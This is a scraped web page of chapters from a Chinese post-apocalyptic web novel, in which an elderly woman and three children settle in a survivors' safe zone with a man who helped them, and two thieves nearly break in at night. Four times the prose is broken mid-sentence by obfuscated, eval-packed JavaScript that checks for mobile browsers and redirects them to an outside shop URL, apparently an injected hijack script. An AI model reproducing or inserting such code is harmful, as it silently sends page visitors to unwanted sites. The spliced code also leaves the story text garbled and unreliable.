时间一点点流逝,前方的队伍越来越短,终于轮到了他们。
负责登记的是一个年轻小伙子,看起来不过二十出头,面容清秀,眼神温和,手上的铅笔已经磨得很短。他抬头看向王桂香,语气平缓:“大娘,麻烦说一下信息,姓名、岁数、从哪里过来、一共几个人、有没有失散的亲人需要登记寻找。”
王桂香微微躬身,语气恭敬而谨慎:“同志,俺叫王桂香,今年六十五岁。
从西边的非法基地逃出来的,一路走荒野、过棚户区,到的这里。身边一共三个孩子,大的叫乐乐,七岁,中间的是俺孙子小宝,七岁,最小的叫妞妞,五岁。三个孩子都是一路上相依为命的。
俺们……俺们想找亲人,小宝的爹,叫张强,以前在省城机械厂打工,末世之后就断了联系,不知道是死是活。”
说到最后,她的声音微微发颤。寻找张强,是她除了护住孩子之外,最大的念想。只要张强还活着,一家人就还有主心骨,就不是彻底的孤家寡人。
小伙子认真聆听,笔尖在纸上快速移动,一字一句记录清楚,没有不耐烦,没有打断。他抬头看了看三个孩子,又看向王桂香身上的伤痕,眼神里闪过一丝同情,却没有过度打探:“信息我都记下来了。寻亲信息我们会统一汇总,交给治安队和各个厂区的负责人帮忙打听,一有消息,会在公告栏张贴通知。你们暂时在安全区居住对吧?”
“是,暂时住在西边的窝棚。”王桂香连忙回答。
“好。”小伙子点点头,“安全区不强制劳作,但如果有余力,可以去后面的分拣点帮忙整理物资,能多换一点食物和水。孩子太小,不用勉强。另外,每天早晚两次分发食物,准时到广场排队就行,不要迟到,不要拥挤。”
“哎,哎,俺记住了,多谢同志。”王桂香连连点头,满心感激。
旁边负责分发食物的志愿者是一位中年妇女,见状,特意多拿了一张玉米饼、多盛了半勺稀粥,连同小半碗咸菜一起,装进四个破旧的瓷碗里,分别递到王桂香和三个孩子手里:“带着三个孩子不容易,多吃一点,身子扛住了,才能熬下去。”
玉米饼温热,稀粥滚烫,捧在手里,暖意顺着指尖一直蔓延到心底。王桂香眼眶一热,差点当场落泪。她紧紧捧着碗,连连道谢:“多谢你,同志,多谢你……”
“都是应该的。”中年妇女笑了笑,没有多说,转而招呼下一个人。
王桂香带着孩子,走到广场边缘一处僻静的角落,蹲下身,让孩子们吃饭。玉米饼口感粗糙,却扎实饱腹,稀粥清淡,却温暖暖胃,咸菜咸涩,却能勾起食欲。
三个孩子饿了太久,吃得很慢,很小心,小口小口咀嚼,生怕浪费一点残渣。
王桂香自己只是小口喝着稀粥,把饼的大部分都分给了孩子,自己只啃了一点点边角。她年纪大了,少吃一点没关系,孩子正是长身体的时候,又受了这么多苦,必须多吃一点。
她一边看着孩子吃饭,一边警惕地观察着四周。广场上人来人往,志愿者忙碌不停,治安队队员有序巡逻,一切都显得平静而安稳。就在她稍稍放松心神的时候,一个略显沙哑的声音,从身侧不远处传来,带着一丝不确定,一丝迟疑。
“……是桂香大娘吗?”
王桂香浑身一僵,下意识握紧了手里的瓷碗,警惕地转头看去。
晨雾已经完全散去,阳光穿透云层,洒在广场上,照亮了人群。不远处,一个穿着灰色破旧外套的中年男人站在那里,身材中等,头发凌乱,面容憔悴,眼窝深陷,脸上带着风霜之色。他正望着王桂香的方向,眼神里满是惊讶、难以置信,还有一丝久别重逢的激动。
王桂香盯着他看了几秒,大脑短暂空白,随即,记
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509492|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忆如潮水般涌来。
是林生。
是那个在雨夜木屋,和他们一同避雨、一路同行、后来分开赶路的林生。
是那个在绝境里给过她一点善意、一点指引,让她在茫茫荒野里少走了许多弯路的林生。
她万万没有想到,会在这片远离危险的安全区里,再次遇到他。
林生一步步走近,脚步有些急促,却又带着几分小心翼翼,仿佛怕眼前的景象只是幻觉。他走到王桂香面前,上下打量着她,又看了看身边的三个孩子,声音抑制不住地颤抖:“大娘,真的是你……我还以为,我还以为你在路上出事了。从那天雨夜分开之后,我一直担心你,荒野里那么危险,还有巡逻队和邪祟,我……我没想到能在这里再见到你。”
王桂香缓缓站起身,手里的碗微微晃动,粥水洒出几滴,落在手背上,温热的触感却让她更加确信,这不是梦。她看着林生憔悴的面容,看着他身上依旧破旧却干净的衣服,眼眶瞬间红了:“林同志……真的是你。俺没事,俺们都没事,一路撑过来了,多亏了路上遇到的好心人,也多亏了你当初指的路。”
“没事就好,没事就好啊。”林生连连点头,长长舒了一口气,像是放下了一桩沉重的心事。他的目光落在小宝身上,又看了看乐乐和妞妞,轻声问道,“这就是你一直找的孙子?”
“是,是俺孙子小宝。”王桂香拉过小宝,语气里带着一丝欣慰,“前段时间被棚户区的坏人掳走了,刚救出来没多久,就被送到这里了。这两个是乐乐和妞妞,一路上跟俺相依为命的孩子。”
林生看着三个瘦弱的孩子,眼神里满是唏嘘:“苦了你们了,一老带三小,能走到这里,不容易。”
“都是硬撑。”王桂香轻叹一声,“林同志,你怎么会在这里?你不是说要去城里找女儿吗?”
提到女儿,林生的脸上露出一点温和的神色,语气也平缓了许多:“我后来一路打听,总算找到了。我女儿林晓,就在安全区的医疗点当护士,跟着志愿者一起帮忙照顾伤员和生病的幸存者。我放心不下,就留在了安全区,平日里去分拣点帮忙整理物资,换点食物,一边谋生,一边陪着她。”
王桂香心里一喜。医疗点的护士,在这样的末世里,是难得的能接触到各类信息、又有一定自保能力的人。她原本还在担心,孩子若是生病受伤,无处求医,如今听到这话,顿时觉得多了一层保障。
“原来是这样。”王桂香点点头,“林护士有出息,能在这种时候救人,是大善人。”
“什么善人,只是尽点微薄之力。”林生笑了笑,目光扫过王桂香和孩子们手里简单的食物,又看了看他们单薄的衣物,眉头微微皱起,“大娘,你们现在住在哪里?就你们四个,住得安稳吗?”
王桂香迟疑了一下,如实回答:“住在西边角落的空窝棚里,地方小,简陋,但是能遮风挡雨,已经很好了。”
23. 第 23 章
林生沉默片刻,语气诚恳:“我住的窝棚比那边宽敞一些,离医疗点近,安全也更有保障。我平时大多时间在外面忙活,家里就我一个人,空着也是空着。你们要是不嫌弃,就搬过来一起住。多几个人,也热闹一点,互相有个照应。你们一老三小,单独住在角落,终究是让人不放心。”
王桂香一愣,连忙摆手:“林同志,这怎么行?已经麻烦你够多了,当初你指路、分俺们食物,俺还没来得及报答,现在怎么能再去打扰你的生活?万万使不得。”
在末世里,住处和食物是最珍贵的资源。每一个窝棚,每一口粮食,都是用血汗换来的。平白接受别人的馈赠,对她这样一辈子要强、不愿亏欠他人的人来说,心里实在不安。
“大娘,你不用这么见外。”林生摇摇头,语气坚定,“末世里,单打独斗最难活。我们都是苦命人,都是从死人堆里爬出来的,互相帮衬一把,不是什么麻烦。我一个大男人,粗枝大叶,窝棚也收拾不好,你们过去,还能帮忙打理打理。再说,孩子们在一起,也有个伴。我不是施舍,只是互相照应。”
他顿了顿,看向身边安静站立的三个孩子,声音放软:“你看这几个孩子,瘦成这样,又受了惊吓。住在偏僻角落,万一有个头疼脑热,或者有什么突发情况,连个照应的人都没有。搬到我那边,离医疗点近,有什么事,我女儿也能及时照应。安全区虽然安稳,可也不是绝对没有危险,人多一点,总归是好的。”
王桂香看着林生真诚的眼神,没有虚伪,没有算计,没有图谋,只是纯粹的善意。她又低头看了看身边的孩子,小宝沉默不安,乐乐警惕紧绷,妞妞瘦弱胆怯。她心里清楚,林生说得没错。她们一老三小,无依无靠,没有劳力,没有背景,住在偏僻角落,看似安静,实则容易成为被忽视、被欺负的对象。而林生为人忠厚,女儿又是医疗点的护士,在安全区里多少有几分照应。跟着他们一起住,确实比单独居住要安稳得多。
可她终究是过意不去,心里反复挣扎。
林生看出她的犹豫,没有催促,只是静静站在一旁,给她时间思考。
阳光渐渐升高,洒在身上,驱散了清晨的寒意。孩子们已经吃完了手里的食物,乖乖地站在王桂香身边,好奇地看着林生。小宝认出,这个叔叔曾经在雨夜给过他们温暖,眼神里少了几分警惕,多了几分亲近。
王桂香沉默了许久,终于缓缓抬起头,看着林生,声音带着一丝哽咽,却无比坚定:“林同志,俺……俺谢谢你。你不嫌弃俺们累赘,俺们就厚着脸皮,跟着你叨扰一段日子。这份情,俺记在心里,以后但凡有机会,一定报答。”
“说什么报答不报答。”林生笑了起来,脸上的疲惫一扫而空,多了几分暖意,“都是一家人,不说两家话。等你们吃完,我带你们回窝棚收拾东西,今天就搬过去。”
王桂香点点头,眼眶始终温热。
在这个秩序崩塌、人性凉薄的末世里,她以为自己早已习惯了孤独、背叛、险恶与冷漠。可一路走来,陈峰的暗中相助、荒村大娘的一饭之恩、治安队林晓的出手相救、志愿者的温和以待、再到如今林生的真诚收留……一点一点细碎的善意,如同微光,汇聚在一起,照亮了她灰暗绝望的路。
她知道,前路依旧漫长,危险依旧无处不在,寻找张强的路依旧渺茫。可只要身边有孩子,有这些愿意伸出援手的人,她就有勇气走下去。
她低头看着三个孩子,轻轻抚摸着他们的头顶,心里默默下定决心。
这一次,她一定要护住身边的人,一定要找到亲人,一定要在这片满目疮痍的世界里,为孩子们撑起一方小小的、安稳的天地。
接下来的整个上午,王桂香带着孩子,跟着林生收拾简陋的行李,搬迁窝棚,熟悉安全区的环境,认识物资点、医疗点、公告栏、劳作区。
日头渐渐爬至半空,暖融融的阳光洒遍安全区的每一处角落,驱散了清晨残留的湿冷雾气,连窝棚缝隙里钻进来的光,都带着淡淡的暖意,不再像荒野里的日光那般,要么毒辣得灼人,要么阴冷得刺骨。王桂香牵着三个孩子,跟在林生身后,一步步朝着他居住的窝棚走去,脚步比往日里轻快了些许,可心底那根紧绷的弦,依旧没有彻底松开。
末世里的安稳从不是凭空而来,更不是长久不变的,这一点,王桂香在逃出基地的那一刻就看得透彻。安全区看似秩序井然,有志愿者维持,有治安队值守,可这里依旧是幸存者的聚集地,人多的地方,就有欲望,有争抢,有看不见的暗流,她活了六十五年,大半辈子都在市井乡间摸爬滚打,这点人情世故上的警醒,早已刻进了骨子里。更何况她带着三个半大的孩子,个个瘦弱不堪,没有劳力,没有靠山,唯一的依仗只有刚认识不久、心存善意的林生,这份依靠太过薄弱,容不得半分松懈。
林生住的窝棚在安全区西侧偏中间的位置,离医疗点不过百米距离,离中央广场的物资分发点也近,既避开了边缘地带的偏僻冷清,又不会陷入广场周边的嘈杂拥挤,位置选得极是稳妥。这一片的窝棚搭建得更为规整,都是用粗壮的实木做立柱,厚实的木板钉成墙面,屋顶铺着双层防水油毡,边缘压着磨圆的石块,比王桂香之前住的那间临时空窝棚结实太多。窝棚门口扎着一圈低矮的木篱笆,不算高,只到大人的膝盖,篱笆缝里长着几株不知名的小野菜,嫩生生的,透着一丝难得的生机,门口还摆着一个破旧的搪瓷盆,里面装着半盆清水,想来是林生用来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509493|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洗手擦东西的。
“到了,就是这儿。”林生停下脚步,伸手掀开门口挂着的粗麻布门帘,门帘是用好几块碎布缝起来的,针脚粗糙却密实,能挡住冷风和灰尘,也能稍稍护住棚内的隐私,“地方不大,就一间屋,收拾收拾,咱们挤一挤足够住,我平日里出去忙活,家里也能有个烟火气。”
王桂香牵着孩子走进窝棚,目光缓缓扫过屋内的每一处,心里默默打量着。窝棚的空间不算宽敞,却收拾得干干净净,没有一丝杂乱,地面垫着一层平整的黄土,踩上去坚实不松软,角落处铺着厚厚的干草,上面盖着一块洗得发白的旧床单,算是睡觉的地方,比之前睡的光干草要舒服不少。干草旁摆着一张简易木桌,是用废弃的木板钉成的,四条腿稳稳当当,桌上放着一个缺了口的陶罐、两只豁边的瓷碗、一双磨秃的筷子,还有一小袋用布封着的玉米面,分量不多,却在这末世里显得格外珍贵。桌子旁边立着两个矮板凳,还有一个用纸箱改造成的小柜子,里面整整齐齐叠着几件旧衣物,都是洗干净的,没有异味。靠近门口的位置,堆着一小捆干枯的树枝,是用来生火的,旁边还有一个小小的铁皮炉子,没有破损,能烧水做饭,比起在荒野里露天生火,不知好了多少倍。
整个窝棚没有华丽的物件,所有东西都是简陋的旧物,却处处透着规整和用心,能看出林生是个勤快、过日子仔细的人,不像有些幸存者,得过且过,窝棚里脏乱不堪,连下脚的地方都没有。王桂香心里暗暗松了口气,这样的环境,孩子们住着也能舒心些,也不容易生病。
“林同志,你这屋子收拾得太干净了,俺们搬进来,怕是要给你添乱,弄脏了地方。”王桂香语气里带着几分不好意思,她一辈子爱干净,哪怕在末世里颠沛流离,也尽量把自己和孩子收拾整齐,如今要住进别人收拾得妥帖的地方,生怕自己和孩子毛手毛脚,扰了主人家的清净。
林生摆了摆手,脸上带着温和的笑,丝毫没有嫌弃的意思:“大娘,你说这话就见外了,屋子本来就是住人的,有人气才暖和,空着反而冷清。你们别拘束,就当是自己家,孩子小,难免磕磕碰碰,弄脏了收拾就成,不算啥。”他说着,从纸箱柜子里拿出几件旧衣物,“这些是我之前捡的,洗干净了,没穿过,看着孩子们的衣服都破得不成样子,先换上,好歹能挡风保暖,等往后有机会,再给孩子们找合身的。”
王桂香看着那几件干净的旧衣物,眼眶又有些发热,一路逃难,孩子们穿的衣服都是破破烂烂的,夏天漏风,冬天御寒,身上早就冻得冰凉,如今能有干净的衣服换,对他们来说,已是天大的恩赐。她连忙接过衣物,指尖微微颤抖,连声道谢:“林同志,你真是心善,俺们这几个,真是欠你太多了。”
24. 第 24 章
“都是举手之劳,末世里,谁还没个难处。”林生笑了笑,转身走到门口,“你们先收拾着,把东西放好,给孩子换换衣服,我去医疗点看看我女儿,跟她说一声家里多了几口人,顺便再领点热水回来,给孩子们擦擦身子,一路过来,也该好好打理打理。”
王桂香连忙应下,看着林生走出窝棚,才转身招呼三个孩子:“乐乐,小宝,妞妞,过来,咱把衣服换上,把身上的脏衣服脱下来,等会儿洗干净。”
三个孩子乖乖走到王桂香身边,眼神里带着几分欣喜,又有几分拘谨。乐乐年纪稍大,懂事些,自己动手脱身上的破外套,那件外套早就看不出原本的颜色,袖口磨得稀烂,胳膊肘处还有个大洞,露出里面瘦弱的胳膊,上面还有几道浅浅的划伤,早已结痂。小宝的衣服更是单薄,领口扯破了,衣角沾着不少污渍,是在老疤的仓库里蹭上的灰渍,他动作慢些,怯生生地看着王桂香,等着奶奶帮忙。妞妞最小,衣服上全是破洞,冻得小胳膊小腿冰凉,依偎在王桂香身边,任由奶奶帮她脱衣服,小嘴里轻声说着:“奶奶,衣服软软的,好暖和。”
王桂香动作轻柔地帮孩子们换上旧衣物,衣服虽然偏大,穿在身上松松垮垮,却厚实干净,裹在身上,瞬间就挡住了凉意,孩子们的小脸上渐渐有了些许血色,不再像之前那般蜡黄。她把孩子们换下来的脏衣服收拢在一起,放在门口的角落,打算等有了水,就好好搓洗干净,哪怕破了,也能缝补缝补,往后总能穿得上。
收拾完衣物,王桂香又开始整理他们带来的行李,其实也没什么东西,只有一个破旧的帆布包,里面装着半块干硬的窝头、几颗野山楂、一小包消炎药,还有用破布裹着的柴刀。她把窝头和野山楂放在桌上的陶罐里,消炎药收进纸箱柜子的角落,柴刀则藏在了干草铺的下面,压在最里头,这是她唯一的防身武器,必须放在随手能拿到的地方,以防突发状况,却又不能摆在明面上,免得惹来不必要的猜忌和麻烦。
安顿好一切,王桂香才坐在矮板凳上,稍稍歇了口气,连日来的疲惫瞬间涌了上来,浑身的骨头都像是散了架,肩膀和腰背的钝痛一阵阵袭来,可她不敢久坐,眼睛时不时看向门口,留意着外面的动静,耳朵也竖着,听着窝棚外的声响。
窝棚外渐渐热闹起来,安全区里的幸存者们大多领完了食物,有的回了自己的窝棚休息,有的去物资分拣点帮忙劳作,换取额外的食物,还有的聚在广场角落,低声交谈着,打听着外界的消息,或是寻亲的线索。没有大声的喧哗,没有激烈的争吵,只有细碎的声响,透着一种末世里难得的平和,可这份平和里,依旧藏着不易察觉的紧张,每个人的脸上都带着疲惫,眼神里藏着对未来的迷茫,没有人知道,这份安稳能持续多久,下一次危机又会在什么时候到来。
乐乐和小宝坐在干草铺边,小声说着话,两个年纪相仿的男孩,很快就熟络起来,小宝不再像之前那般沉默寡言,偶尔也会回应乐乐几句,说起自己在仓库里的遭遇,声音小小的,带着后怕,乐乐则拍着胸脯,说自己会保护他和妞妞,像个小男子汉。妞妞坐在一旁,把玩着桌上的一颗小石子,时不时抬头看看奶奶,又看看两个哥哥,小脸上满是安稳,这是她自从和家人失散后,第一次待在这么暖和、这么安静的地方,不再担心随时会有坏人出现,不再担心饿肚子。
王桂香看着三个孩子相处和睦,心里暖暖的,连日来的担忧和疲惫,似乎都消散了不少。她起身走到门口,看着门外的阳光,看着不远处医疗点进进出出的志愿者和伤员,看着巡逻而过的治安队队员,心里默默想着,要是能一直这样安稳下去,要是能找到儿子张强,一家人安安稳稳地待在这里,哪怕日子清贫,每天只有粗粮稀粥,也心满意足了。
可她也清楚,这只是奢望。基地的人说不定还在四处找她,荒野里的邪祟依旧游荡,棚户区的地痞流氓也可能窜到安全区周边,安全区的物资也总有耗尽的时候,到时候,争抢和危机依旧会来临。她现在能做的,只有守好三个孩子,好好活下去,一边等待寻亲的消息,一边在安全区里找些力所能及的活计,不能一直靠着林生接济,林生自己也不容易,靠着分拣物资换食物,还要养活女儿,他们一老三小,总不能一直拖累好心人。
没过多久,林生就回来了,手里提着一个大大的铁皮水桶,里面装着满满的热水,桶边还挂着一小块粗布,是医疗点的志愿者给的,用来擦身子。他额头上带着细密的汗珠,走路有些喘,想来是提着满满一桶热水,走了百米路,费了不少力气。
“大娘,热水领来了,趁着热乎,给孩子们擦擦脸和手脚,再擦擦身子,免得着凉。”林生把水桶放在门口,抹了一把额头的汗,笑着说道,“我跟晓燕说了,她晚上下了班,过来看看孩子们,给孩子们检查检查身体,看看有没有哪里不舒服,有没有隐伤。”
晓燕是林生女儿的名字,王桂香之前听林生提过,连忙说道:“真是麻烦林护士了,她平日里忙着照顾别人,还要惦记俺们这些孩子,太过意不去了。”
“都是应该的,孩子的身子最金贵,可不能马虎。”林生摆了摆手,蹲下身,看着三个孩子,语气温和,“孩子们,过来,擦擦身子,舒服些。”
王桂香连忙接过粗布,蘸着热水,小心翼翼地给孩子们擦脸、擦手、擦脖子,热水温热,擦在身上,驱散了身上的寒气,孩子们舒服得眯起了眼睛,妞妞更是小声哼唧着,满是惬意。王桂香给孩子们擦完,又自己简单擦了擦,这才觉得浑身清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509494|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爽了不少,连日来沾在身上的灰尘和疲惫,都被这热水擦去了大半。
林生看着孩子们精神好了许多,也放下心来,从怀里掏出一小把野菜,递到王桂香面前:“大娘,这是我在路上挖的,能吃,晚上咱用玉米面熬粥,放进去,能稠一些,也能多填填肚子。我下午去分拣点干活,那边分拣废弃的衣物、工具和食物残渣,能换两个玉米面饼,晚上回来,咱一起吃。”
王桂香接过野菜,野菜鲜嫩,没有枯萎,一看就是仔细挑过的,她连忙说道:“林同志,你去干活,俺在家也不能闲着,窝棚里的活俺来收拾,衣服俺来洗,要是分拣点有适合俺干的活,俺也想跟着去,多少能换点吃的,不能一直靠你接济。”
林生愣了一下,随即点了点头,眼里多了几分敬佩:“大娘,你要是身子受得了,自然是好的,分拣点的活不算重,就是整理衣物、分类杂物,老人家也能干,就是赚的食物少点,够糊口。下午我带你过去,跟负责人说一声,你就在旁边干,看着孩子,也方便。”
王桂香连忙应下,心里满是感激,能有活干,就能自己挣口吃的,不用一直拖累林生,也能让孩子们多一口粮食,这对她来说,比什么都重要。
下午的日头更暖了,林生安顿好王桂香和孩子们,就拿着工具,去了物资分拣点。王桂香把孩子们留在窝棚里,叮嘱他们不要乱跑,不要跟陌生人说话,乖乖待在屋里,自己则端着孩子们换下来的脏衣服,拿着林生给的粗布,去了安全区西侧的取水点。
取水点是一个临时挖的水井,上面装着简易的压水器,有志愿者在一旁值守,管控着用水,避免浪费。排队取水的人不少,大家都安安静静地排队,没有争抢,轮到自己了,就压水,装满水桶,默默离开,秩序井然。王桂香排在队伍末尾,看着前面的人,大多是和她一样的老人和妇女,都是来洗衣打水的,偶尔有人对视一眼,也只是微微点头,没有过多交谈,末世里,人人都自顾不暇,没有多余的精力去结交旁人,保持距离,既是保护自己,也是不打扰别人。
轮到王桂香,她慢慢压水,把衣服放在水里浸湿,撒上一点点林生家仅剩的粗盐,一点点搓洗着。衣服上的污渍很厚,有的是血渍,有的是泥渍,洗起来很费力,她的手在冷水里泡得通红,关节生疼,可她没有丝毫懈怠,一点点把衣服搓洗干净,拧干,搭在窝棚门口的篱笆上,风一吹,衣服轻轻晃动,渐渐晾干。
洗完衣服,王桂香回到窝棚,看着三个孩子乖乖待在屋里,没有乱跑,心里很是欣慰。她把屋里的地面打扫干净,把干草铺整理平整,把桌上的东西摆放整齐,又把林生堆在角落的树枝码放整齐,把铁皮炉子擦干净,窝棚本就干净,经她一收拾,更是整洁,透着浓浓的烟火气。
25. 第 25 章
临近傍晚,安全区里的光线渐渐柔和下来,劳作的幸存者们陆续返回,广场上又开始分发晚餐,比起早餐,晚餐的分量稍多一些,还有一点点煮好的野菜汤。王桂香牵着孩子,去广场领了晚餐,四个玉米面饼,四碗稀粥,还有一小份野菜汤,她把饼和粥分给孩子们,自己只喝了一碗稀粥,就着一点点咸菜,勉强填饱肚子。
孩子们吃得很香,小口小口地吃着,珍惜着每一口食物,经历过饿肚子的日子,他们早已懂得食物的珍贵,不会浪费一丝一毫。
天色渐渐暗了下来,安全区里亮起了零星的煤油灯,灯光昏黄,照亮了小小的窝棚,窝棚外的声响渐渐平息,只有偶尔传来的咳嗽声和治安队巡逻的脚步声,显得格外安静。林生还没回来,想来是分拣点的活比较多,要忙到很晚。
王桂香坐在干草铺边,搂着三个孩子,给他们盖好旧衣物,轻声说着话,安抚着他们入睡。孩子们累了一天,很快就进入了梦乡,呼吸均匀,小脸上满是安稳。王桂香却毫无睡意,依旧保持着警惕,时不时看向门口,听着外面的动静,心里牵挂着还没回来的林生,也牵挂着远在不知何处的儿子张强,还有那条在荒野里为了保护他们,引开巡逻队的大黄。
大黄的身影,总是时不时出现在她的脑海里,十年的陪伴,早已不是简单的牲畜,而是家人,她不知道大黄是生是死,每每想起,心里就一阵刺痛,眼泪忍不住往下掉。她多希望大黄还活着,多希望有一天,能在安全区里,看到大黄摇着尾巴朝她跑来,可她也知道,荒野里危机四伏,大黄大概率是凶多吉少,只是她不愿承认,心里始终留着一丝念想。
就在王桂香沉浸在思念里时,窝棚外突然传来一阵轻微的脚步声,还有压低的说话声,不是林生的声音,语气里带着几分不善,王桂香瞬间绷紧了神经,连忙捂住孩子们的耳朵,不让他们被惊醒,自己则轻手轻脚地走到门口,透过麻布门帘的缝隙,往外看去。
只见门口不远处,站着两个年轻男人,穿着破旧的外套,脸上带着痞气,不是志愿者,也不是治安队队员,看着像是从棚户区混进安全区的闲散人员,正低声交谈着,目光时不时扫过林生的窝棚,眼神里带着不怀好意。
“就是这家,听说里面住了个老头,还有个老太太带三个孩子,看着就好欺负,说不定藏着吃的。”
“别乱来,治安队就在附近,被抓到就完了,咱就看看,要是有机会,就弄点吃的,这两天快饿疯了。”
“放心,就趁老头没回来,老太太和孩子,能有啥能耐,悄悄进去,拿了就走。”
两人的声音压得很低,却还是一字不落地钻进王桂香的耳朵里,她的心瞬间提到了嗓子眼,浑身冰凉,下意识地摸向干草铺下的柴刀,手心全是冷汗。她没想到,安全区里看似安稳,竟然也有这样的歹人,盯着他们这一老三小,想趁火打劫。
她紧紧攥着柴刀,浑身紧绷,不敢发出一丝声响,心里快速盘算着。两个年轻男人,她一个老太太,根本打不过,可屋里还有三个熟睡的孩子,她绝不能让歹人进来伤害孩子。治安队就在不远处巡逻,可远水救不了近火,要是大喊大叫,说不定会激怒歹人,反而会伤到孩子,只能先稳住,等林生回来,或是等治安队巡逻到这里。
那两个歹人在门口徘徊了片刻,慢慢朝着窝棚靠近,脚步轻轻的,生怕惊动了里面的人。王桂香屏住呼吸,握紧柴刀,做好了拼命的准备,只要他们敢掀开门帘,她就拼了这条老命,也要把他们赶出去,护住孩子。
就在歹人伸手要掀开门帘的瞬间,远处传来了林生的脚步声,还有他和治安队队员打招呼的声音,两个歹人脸色一变,瞬间慌了神,对视一眼,不敢多做停留,转身就跑,很快就消失在昏暗的巷子里,没了踪影。
王桂香悬着的心,这才狠狠落了下来,浑身的力气瞬间被抽干,腿一软,差点瘫坐在地上,手里的柴刀也差点掉在地上。她靠在门框上,大口大口地喘着气,后背早已被冷汗浸湿,心脏砰砰直跳,久久无法平静。
没过多久,林生就回来了,手里拿着两个玉米面饼,还有一小袋野菜,看到王桂香脸色苍白地靠在门口,连忙上前问道:“大娘,你怎么了?是不是哪里不舒服?还是孩子出事了?”
王桂香缓了好一会儿,才平复了心跳,把刚才两个歹人徘徊、想进来打劫的事,一五一十地告诉了林生,声音依旧带着颤抖。
林生的脸色瞬间沉了下来,眼神里满是愤怒,又带着几分后怕:“真是胆大包天,竟然敢在安全区里做这种事,幸好我回来得及时,没让他们得逞。大娘,你别怕,往后我晚上尽量早点回来,夜里我守着,他们不敢再来。”他顿了顿,又说道,“明天我就跟治安队和志愿者说一声,让他们多在这一片巡逻,把这些混进来的歹人赶出去,保证你们和孩子的安全。”
王桂香点了点头,心里满是后怕,也更加明白,哪怕在安全区里,也不能掉以轻心,危机永远藏在暗处,稍有不慎,就会陷入险境。她看着屋里熟睡的孩子,暗暗下定决心,往后一定要更加警惕,守好这个小小的窝棚,守好身边的孩子,绝不让任何人伤害到他们。
林生把带回来的饼和野菜放在桌上,又仔细检查了窝棚的门窗,确认没有问题,才坐在矮板凳上,简单吃了点东西,累了一天,他也满脸疲惫,却还是叮嘱王桂香,夜里要是有动静,一定要第一时间喊他。
夜色渐深,安全区彻底安静下来,昏黄的灯光渐渐熄灭,只有治安队的巡逻灯,在黑暗中微微晃动。王桂香躺在干草铺边,依
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509495|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
旧没有睡意,半睁着眼睛,守着三个孩子,手里紧紧攥着柴刀,耳边听着外面的动静,一夜无眠。
她知道,这只是安全区里一次小小的风波,往后还会有更多的细碎危机,可她不会退缩,为了孩子,为了找到亲人,她必须撑下去,在这乱世里,靠着一丝善意,一份坚守,一步步往前走,哪怕前路漫漫,满是荆棘,也绝不放弃。
天快亮时,王桂香才稍稍眯了一会儿,可依旧睡得很浅,稍有动静就会醒来。清晨的雾气再次笼罩安全区,新的一天来临,她依旧要带着孩子,在这安稳与危险并存的地方,继续求生,继续等待寻亲的消息,继续为了活下去,拼尽全力。而这场发生在夜里的细微险情,也让她更加清醒,末世里从没有绝对的安稳,唯有警惕和坚守,才能护住身边的人,才能在这满目疮痍的世界里,寻得一丝生机,
天刚蒙蒙发亮,安全区上空的雾气还没完全散开,沾在窝棚的塑料布上,凝成细密的水珠,顺着边缘一点点往下滴,落在地面的黄土上,晕开一圈浅浅的湿痕。王桂香是被自己下意识的警觉惊醒的,夜里本就睡得浅,大半宿都攥着柴刀半梦半醒,天一亮,便立刻撑着酸痛的身子坐了起来,生怕耽误了清晨的物资分发,也怕昨夜那两个游荡的歹人,趁着天色未亮再折回来。
